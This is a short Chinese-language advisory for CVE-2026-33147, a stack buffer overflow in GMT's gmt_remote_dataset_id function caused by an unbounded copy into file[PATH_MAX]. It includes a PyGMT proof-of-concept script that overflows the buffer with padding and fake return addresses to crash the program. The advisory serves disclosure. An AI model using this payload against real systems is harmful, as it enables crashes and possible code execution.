CVE-2026-33147(gmt_remote_dataset_id 中的基于栈的缓冲区溢出)
在 src/gmt_remote.c 的 gmt_remote_dataset_id 函数中发现了一个基于栈的缓冲区溢出漏洞。当将特制的超长字符串作为数据集标识符(例如,通过 which 模块)传入时,会导致程序崩溃或可能被利用执行任意代码。
该漏洞是由于在将用户可控的数据集名称复制到固定大小的栈缓冲区 file[PATH_MAX] 时,不安全地使用了 strcpy(或类似的无界字符串操作)所致。
当输入超过 PATH_MAX(通常为 4096 字节)时,会覆盖栈帧,包括返回地址。这一点已通过 AddressSanitizer(ASan)确认,其报告了 stack-buffer-overflow 错误。
以下使用 PyGMT 的 Python 脚本可复现崩溃:
import struct
from pygmt.clib import Session
with Session() as lib:
# 用于溢出栈缓冲区的载荷
padding = "A" * 4096
fake_ret = struct.pack("<Q", 0x4141414141414141) * 100
payload = padding + fake_ret.decode("latin-1")
# 通过 'which' 模块触发溢出
lib.call_module("which", [payload])
这是一个内存安全漏洞。